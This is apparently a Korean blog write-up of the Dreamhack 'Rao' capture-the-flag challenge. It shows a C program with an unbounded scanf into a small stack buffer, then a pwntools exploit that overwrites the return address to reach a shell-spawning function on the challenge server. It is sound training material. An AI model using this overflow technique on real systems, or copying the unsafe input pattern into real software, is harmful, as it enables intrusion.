Dreamhack Rao -Stack Buffer Over Flow-

2023. 3. 24. 17:15Pwnable/Dreamhack

 

문제의 소스코드는 다음과 같다.

 

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

scanf 에서 버퍼오버플로우를 일으킬 수 있고 ret 주소를 get_shell 주소로 덮는다면 플래그를 획들 할 수 있게 만든 문제인거 같다.

 

바로 gef를 통해 패턴을 생성하고 offset 을 구한 결과 56으로 나왔다.

 

 

즉 Ret을 덮으려면 56개의 문자를 넣고 get_shell 함수의 시작 주소를 넣으면 될 것이다.

 

그렇게 짠 익스플로잇 코드는 다음과 같다.

 

from pwn import * 

p = remote('host3.dreamhack.games', 19648)
e = ELF('./rao')
context.arch = "amd64"

offset = 56

flag = e.symbols["get_shell"]


payload = b'A' * offset + p64(flag)

p.sendline(payload)
p.interactive()

 

야호 ! 성공이다 !

'Pwnable > Dreamhack' 카테고리의 다른 글

Dreamhack -off_by_one_001-  (0) 2023.03.05
Basic_exploitation_003  (0) 2023.02.26
basic_exploitation_001  (1) 2023.02.19
basic_exploitation_000 -Dreamhack-  (0) 2023.02.19